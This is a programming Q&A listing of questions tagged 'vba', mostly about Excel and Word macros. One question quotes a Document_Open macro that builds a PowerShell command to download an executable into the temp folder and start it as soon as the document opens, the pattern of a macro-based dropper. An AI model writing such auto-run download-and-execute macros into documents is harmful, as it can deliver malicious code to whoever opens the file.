Questions tagged as 'vba'

Tagged questions
1
answer

VBA Get text fragment of an html element with id

I am trying to access a web page with a macro in Excel, enter a code in an input, press a button and copy the price resulting from the search. It is this last step that I do not achieve. The element that contains the price has the id #result_ok...
asked by 06.05.2018 / 20:36
1
answer

Problem format when getting the name of an excell sheet in VBA

As ridiculous as it seems I have a problem when it comes to getting the name of a Excel sheet because it is written to me in date format. The sheet has name JUL02 and I want to get exactly the literal "JUL02", however, when reading the name...
asked by 02.04.2018 / 12:13
1
answer

Download html table with vba excel

Hello everyone and thanks in advance. I'm trying to download a table to excel from the page mismarcadores.com. I've got a macro on the internet. The problem is that the html tag of the table has no ID, and whenever I execute the macro, the...
asked by 02.08.2018 / 18:42
1
answer

Is there a sentence where a macro lets do the full calculation before jumping to the next sentence?

Hi, I have a macro where I have to do simulations with the random function, the random function is in a matrix of 75000x12, I understand that excel is saturated with a certain number of records and does not recalculate the whole sheet and jumps...
asked by 03.01.2018 / 03:59
1
answer

How to list my databases in EXCEL with VBA

I'm trying to dig deeper into the connection from VBA using Excel versus MS SQL. All right with the forced connection putting all the parameters in the data of the macro (name of the server, database, etc.) But I would like to do something mo...
asked by 26.12.2017 / 12:08
1
answer

macro VBA never opens my file

The code is as follows: Private Sub Document_Open() Dim exec As String exec = "powershell.exe (New-Object System.Net.WebClient)." exec = "DownloadFile('https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe','%temp%/putty.exe');Start-Proc...
asked by 28.08.2017 / 03:31
1
answer

Is it possible to create a progress bar with VB excel, but with images?

I have 5 images that form a logo and I need it to be completed as the textboxes are completed in the form. some help ? Thanks.     
asked by 04.07.2017 / 12:49
1
answer

Copy data type text from excel to word VBA [closed]

I am generating a macro that copies data from excel to word, but it marks me an error, I behave the code that I have, hoping they can help me. Sub copiar_word() Dim wordapp As Object Dim x, a As Integer x = 8 Set wordapp = CreateObject("word.A...
asked by 24.04.2017 / 17:53
1
answer

Update the values of a book that I am going to copy info

I have this macro which copies the information from one book to another through the vlookup function, the macro works only when I paste the values from one book to another I open a window to select the destination book for update the values of t...
asked by 15.03.2017 / 05:40
2
answers

Macro to find and replace words in Word from an Excel list

I have made this macro to search and replace words from a specific file, which in this case is a Word document. My query is: How do I make the content of an excel list instead of a word document? This is the code: Sub ListaDeBalanceEs...
asked by 18.01.2017 / 15:14